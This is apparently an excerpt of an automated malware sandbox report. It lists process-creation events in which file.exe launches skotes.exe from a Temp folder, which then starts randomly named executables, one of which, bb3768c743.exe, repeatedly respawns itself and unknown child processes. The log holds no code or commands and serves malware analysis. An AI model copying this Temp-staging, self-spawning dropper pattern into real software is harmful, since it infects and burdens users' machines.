Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe "C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
